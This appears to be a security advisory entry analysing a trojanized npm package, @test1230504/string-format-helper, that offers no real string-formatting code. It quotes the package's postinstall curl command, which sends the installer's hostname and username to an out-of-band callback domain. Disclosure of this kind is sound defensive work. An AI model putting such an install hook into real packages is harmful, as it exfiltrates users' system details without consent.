@test1230504/string-format-helper@1.0.0

Analysis

The package @test1230504/string-format-helper@1.0.0 is a trojanized utility that exfiltrates the installer's hostname and username at install time. The postinstall hook (postinstall.js) runs `curl -s "hxxp://pzs5w7ntzhsnepwk564lyfdci3oucl0a[.]oastify[.]com/probe?h=$(hostname)&u=$(whoami)"`, sending the machine hostname and current user to the OAST (out-of-band application security testing) callback domain pzs5w7ntzhsnepwk564lyfdci3oucl0a[.]oastify[.]com via HTTP GET. The package contains no string-formatting functionality despite its name and description.